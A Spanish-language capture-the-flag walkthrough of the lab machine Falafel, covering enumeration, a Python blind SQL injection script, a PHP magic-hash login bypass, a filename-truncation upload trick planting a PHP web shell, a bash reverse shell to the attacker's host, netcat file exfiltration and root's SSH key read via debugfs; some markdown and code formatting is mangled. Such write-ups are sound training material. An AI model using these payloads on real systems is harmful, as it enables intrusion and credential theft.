Volver atras HTB_Falafel | Savinotes

HTB_Falafel

Falafel {-}

Introduccion {-}

La maquina del dia 26/08/2021 se Falafel.

El replay del live se puede ver aqui

S4vitaar Falafel maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.73

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.73

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.73 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80,2222 10.10.10.73 -oN targeted
PuertoServicioQue se nos occure?Que falta?
22sshConneccion directausuario y contraseña
80httpWeb, Fuzzing

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.73

Vemos un dominio

 falafel.htb 

y poco mas. Añadimos el dominio al

 /etc/hosts 

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.73/FUZZ
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,php-txt http://10.10.10.73/FUZZ.FUZ2Z

Aqui vemos routas importantes como:

Analyzando la web con Firefox {-}

Analyzando la web vemos que hay un email

 IT@falafel.htb 

, aqui podemos pensar que IT es un usuario. Vemos el panel de login. Si miramos por la url

 http://10.10.10.73/cyberlaw.txt 

vemos el contenido de un email enviado por

 admin@falafel.htb 

a

 lawyers@falafel.htb 

y a

 devs@falafel.htb 

. El email nos dice que un usuario llamado

 chris 

a contactado a

 admin@falafel.htb 

para decirle que a podido logearse con este usuario sin proporcionar contraseña y que a podido tomar el control total de la web usando la functionalidad du subida de imagenes. No se sabe como lo a echo.

Si vamos al panel de login y probamos con los usuarios encontrado, vemos un mensaje differente para los usuarios admin y chris que por los usuarios dev y lawyers. Nos hace pensar que admin y chris son validos.

El usuario a podido entrar por la funccion de upload de imagenes. Si intentamos ir a la url

 http://10.10.10.73/upload.php 

hay una redireccion automatica hacia el panel de login. Comprobamos con Burpsuite si el redirect a sido sanitizado correctamente.

Control de la redireccion con Burpsuite {-}

Primeramente controlamos si burpsuite intercepta no unicamente las requests pero tambien las respuestas al lado del servidor. Si es el caso, lanzamos una peticion desde el navigador al la url

 http://10.10.10.73/upload.php 

y cuando interceptamos el 302 Redirect, lo cambiamos a 200 pero en este caso parece que la redirection a sido bien sanitizada porque solo vemos una pagina en blanco.

Vulnerability Assessment {-}

Blind SQL Injection {-}

Como no podemos utilizar el

 upload.php 

solo nos queda que intentar cosas con el panel de login. Como sabemos que el usuario admin existe, probamos cosas como:

Estas pruebas nos dan, como informacion, que el panel de login parece ser vulnerable a SQLI, que palabras como union o sleep estan black listeadas y que la respuesta de la llamada SQL tiene 4 columnas. Vamos a validar la respuesta de la web en caso de un error y en caso de una buena formula.

Aqui ya vemos que typo de ataque podriamos hacer y tito s4vitar nos quiere enseñarnos como hacer un ataque de typo Cluster Bomb con BurpSuite aunque tiraremos de un script en python que es mucho mas agil.

Cluster Bomb attack con BurpSuite {-}

  1. Interceptamos y modificamos la SQLI desde BurpSuite

Falafel-SQLI-itercet

  1. Con Ctrl+i lo enviamos al intruder
  2. En el nodo Positions damos al boton
 clear § 

y selectionamos:

- el primer 1 y le damos al boton 
 add § 
- la letra a y le damos al boton 
 add § 
- cambiamos el attack type para que valga 
 Cluster Bomb 
```{r, echo = FALSE, fig.cap="Burp Cluster Bomb config", out.width="90%"}
    knitr::include_graphics("images/Falafel-ClusterBomb-config-payload.png")

Falafel-ClusterBomb-cofi-ayload - cambiamos el payload type a Numbers - cambiamos el Number range en sequential From 1 To 5 con step de 1 - sacamos el URL encode del final de la pagina

```{r, echo = FALSE, fig.cap="Burp Cluster Bomb config set 1", out.width="90%"}
knitr::include_graphics("images/Falafel-ClusterBomb-config-payload1.png")
```

- cambiamos el Character set a 
 abcdefghijklmnopqrstuvwxyz 

con un Min length de 1 y un Max length de 1 Falafel-ClusterBomb-cofi-ayload1 - sacamos el URL encode del final de la pagina

```{r, echo = FALSE, fig.cap="Burp Cluster Bomb config set 2", out.width="90%"}
knitr::include_graphics("images/Falafel-ClusterBomb-config-payload2.png")
```
  1. En el nodo Options En el Grep - Match

Falafel-ClusterBomb-cofi-ayload2 knitr::include_graphics(“images/Falafel-ClusterBomb-config-matcher.png”) ```

  1. Le damos al boton start attack

Aqui vemos que el resultado es un poco complicado pero se podria hacer de esta forma.

#!/usr/bin/python3 Falafel-ClusterBomb-cofi-matcher #coding: utf-8

import requests import pdb import signal import time import sys

from pwn import *

def def_handler(sig, frame): print(“\n[!] Saliendo…\n”) sys.exit(1)

Ctrl+C

signal.signal(signal.SIGINT, def_handler)

Variables globales

login_url = “http://10.10.10.73/login.php” s = r’abcdef0123456789’

def makeRequest():

p1 = log.progress("Fuerza bruta")
p2 = log.progress("Password")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)

password = ""

for position in range(1, 40):
    for character in s:
        p1.status("Probando caracter %c en la posición %d" % (character, position))
        post_data = {
            'username': "chris' and substring(password,%d,1)='%c'-- -" % (position, character),
            'password': 'admin'
        }

        r = requests.post(login_url, data=post_data)

        if "Wrong identification" in r.text:
            password += character
            p2.status(password)
            break

if name == ‘main’:

makeRequest()

Cambiando el nombre de usuario, podemos buscar la contraseña del usuario chris y admin. una vez lanzado el script, podemos recoger 
la contraseña md5 de cada uno de estos usuarios.

### Crackeamos las contraseñas con crackstation {-}

Abrimos la web de [crackstation](https://crackstation.net/) y colamos los hashes. Encontramos la contraseña del usuario 
```bash
 chris 

.

Loggearse como el usuario admin {-}

Aqui es donde viene toda la parte mas interesante de la maquina. Si nos connectamos como el usuario chris vemos que habla de juggling pero poco mas. Si intentamos connectar a la url

 http://10.10.10.73/upload.php 

todavia hay una redireccion. Como habla de juggling, pensamos en seguida en una vulnerabilidad de typo type juggling pero tampoco es esto. Esta via se parece mas a un rabbit hole que otra cosa.

Si analyzamos las contraseñas, mejor dicho los hashes encontrados:

Nos damos cuenta que el hash del usuario chris contiene letras y numeros pero la del usuario admin solo contiene numeros. Porque digo que solo contiene numeros? Porque si pensamos en forma mathematica, la letra

 e 

corresponde a un por 10 elevado a (en este caso 0 por 10 elevado a 462096931906507119562988736854) al final solo son numeros.

La vulnerabilidad aqui viene si dos condiciones existen:

  1. En
 php 

la comparativa esta exprimida con un

 == 

y no con un

 === 
  1. Si el hash md5 de una contraseña empieza por 0exxxxxxxxxxxx…

Porque succede esta vulnerabilidad? Porque si los hashes de las 2 contraseñas empiezan por 0exxx… y que la comparativa es unicamente de doble igual, como no va a comparar de manera stricta, 0 por 10 elevado a cualquier cos (que vale 0) comparado a 0 por 10 elevado a cualquier otra cosa (que tambien vale 0) SON IGUALES.

Si miramos por google por

 0e hash collision 

por ejemplo el articulo de ycombinator, vemos quel hash md5 de

 240610708 

da un hash

 0e462097431906509019562988736854 

o el hash md5 de

 QNKCDZO 

nos da

 0e830400451993494058024219903391 

.

En php, si la comparativa es con un doble igual, estos dos hashes son iguales. Si vamos a la pagina de login y entramos el usuario admin y la contraseña QNKCDZO, conseguimos loggearnos como el usuario admin.

Burlar el upload de imagenes {-}

Una vez loggeados entramos en el panel de upload. Aqui la web nos pone de uploadear una imagen desde una url. Recuperamos una imagen de pollo en la web y la copiamos en nuestro directorio de trabajo. Lanzamos un servidor web con python

 python3 -m http.server 80 

y uploadeamos el fichero desde la web poniendo la url

 http://10.10.14.15/madafackingchicken.png 

.

Aqui nos sale un Output con el commando lanzado por la maquina victima :

CMD: cd /var/www/html/uploads/0026-2354_e426c9e8c2f64caa; wget 'http://10.10.14.15/madafackingchicken.png'

Si miramos en la url

 http://10.10.10.73/uploads/0026-2354_e426c9e8c2f64caa/madafackingchicken.png 

vemos la imagen del pollo que hemos enviado a la web.

wget vulnerabilidad {-}

Tito S4vitar nos avanza aqui que el programa solo permite enviar ficheros con extension

 png 

o sea ya sabemos que no podemos enviar ficheros

 .php 

. Pero como conocemos el commando echo por la maquina victima, y vemos que se utiliza el commando wget, ya tenemos una via potencial de ataque, el nombre de caracteres del nombre del fichero. En linux, un fichero solo puede tener un nombre de fichero inferior a 255 caracteres incluida la extension. En el caso de un ficher

 .png 

, el limite maximo de un fichero seria un nombre de 251 caracteres seguidos de la extension

 .png 

.

Copiando el resultado del comando

 python -c "A"*251 + ".png" 

y cambiando el nombre del fichero

 madafackingchicken.png 

con ello, si uploadeamos este fichero en la web, vemos que en el resultado de Saving To que solo guarda un 235 “A” como nombre de fichero. Esto quiere decir que si enviamos un ficher que tiene como nombre

 231 A 

con una extesion

 .php.png 

la web va a ver que el fichero es un ficher

 .png 

pero al momento de guardarlo, va a guardar los 235 primeros caracteres que equivalen a

 231 A 

y la extension

 .php 

Creamos un fichero php

touch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png
vi AAAAAA*

<?php
    echo "<pre>" .shell_exec($_REQUEST['cmd']) ."</pre>";
?>

Si enviamos este fichero, vemos que el fichero se a enviado como fichero .png pero salvado como fichero .php si vamos a la url

 http://10.10.10.73/uploads/0026-2354_e426c9e8c2f64caa/AAAAAAAAAA.......AAAA.php?cmd=whoami 

vemos que somos

 www-data 

.

Vuln exploit & Gaining Access {-}

Ganando accesso desde la s4vishell.php {-}

  1. Creamos un fichero index.html con el contenido siguiente

    #!/bin/bash
    
    bash -i >& /dev/tcp/10.10.14.15/443 0>&1
  2. lanzamos un servidor web con python

    python3 -c http.server 80
  3. nos ponemos en escucha por el puerto 443

    nc -nlvp 443
  4. desde la web lanzamos el comando

 http://10.10.10.73/uploads/0026-2354_e426c9e8c2f64caa/AAAAAAAAAA.......AAAA.php?cmd=curl 10.10.14.15 | bash 

ganamos accesso al systema como el usuario www-data

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Vemos aqui que no podemos leer la flag porque no podemos entrar en las carpetas de yossi o de moshe. Tenemos que hacer un user pivoting.

User Pivoting {-}

whoami
cd /home
cd yossi
cd moshe
sudo -l
find \-perm -4000 2/dev/null
cd /var/www/html
ls
cat connection.php

Aqui vemos que no tenemos permisos interesantes pero vemos en el ficher

 connection.php 

unas credenciales para el usuario

 moshe 

para la base de datos.

su moshe
Password:

whoami
#Output
moshe

cat /home/moshe/user.txt

Ahora que tenemos la flag, pasamos a la parte PrivEsc

Privilege Escalation {-}

Rootear la maquina {-}

cd /root
uname -a
lsb_release -a
sudo -l
id

Aqui llama el atencion el grupo video. Pero aqui primero la idea es ver que grupo tiene este mismo grupo por script.

groups
for group in $(groups); do echo "El grupo $group"; done
for group in $(groups); do echo -e "\n[+] Listando archivos del sistema con grupo $group asignado:\n"; find / \-group $group 2>/dev/null; done

Aqui vemos que el fichero

 /dev/fb0 

esta en el grupo video. Este servicio permite hacer una captura de pantalla de la maquina.

  1. Recoger las proporciones de la pantalla

    cd /
    find \-name virtual_size 2>/dev/null
    cat ./sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0/virtual_size
    #Output
    1176.885
  2. Captura de la pantalla

    cd /tmp
    cat /dev/fb0 > Captura
    du -hc Captura
    file Captura
  3. Enviamos la captura a nuestra maquina de atacante

    • en la maquina de atacante

      nc -nlvp 443 > Captura
    • en la maquina victima

      nc 10.10.14.15 443 < Captura
  4. Abrimos la captura con Gimp

    • Aun que la apertura del fichero a fallado le damos al menu Archivo > Abrir

    • Seleccionamos el typo de archivo Datos de imagen en bruto

      knitr::include_graphics("images/Falafel-open-capture.png")
    • Entramos la proporciones de la virtual_size

Aqui podemos ver la contraseña del usuario yossi. Cambiamos de usuario con el comando

 su yossi 

.

Desde aqui volmemos a intentar a rootear la maquina desde el usuario yossi.

![Falafel-oe-cature](/assets/images/Falafel-open-capture.png) 

Como otra vez un grupo, en este caso el grupo disk nos llama la atencion, volmemos a hacer lo mismo con el listeo de ficheros de cada grupo

```bash
for group in $(groups); do echo -e "\n[+] Listando archivos del sistema con grupo $group asignado:\n"; find / \-group $group 2>/dev/null; done

Aqui vemos que

 /dev/sda1 

es parte del grupo disk. Si le hacemos un “ls -l /dev/sda1` podemos ver que el grupo disk tiene derecho de escritura. Controlamos si estamos en

 /dev/sda1 

con el comando

 fdisk -l 

y vemos que es el disco con 7G (El mas grande = el disco en uso).

Siendo del grupo disk, nos permite abrir la utilidad

 debugfs 

que nos permite manejar utilidades del disco como root.

debugfs /dev/sda1
pwd
ls
cd /root
pwd
cat root.txt

Aqui podemos ver la flag, pero nosotros queremos ser root. Continuamos

cd .ssh
cat id_rsa

la copiamos y creamos un fichero id_rsa en /tmp

exit
cd /tmp
nano id_rsa

chmod 600 id_rsa
ssh root@localhost -i id_rsa
whoami
#Output 

root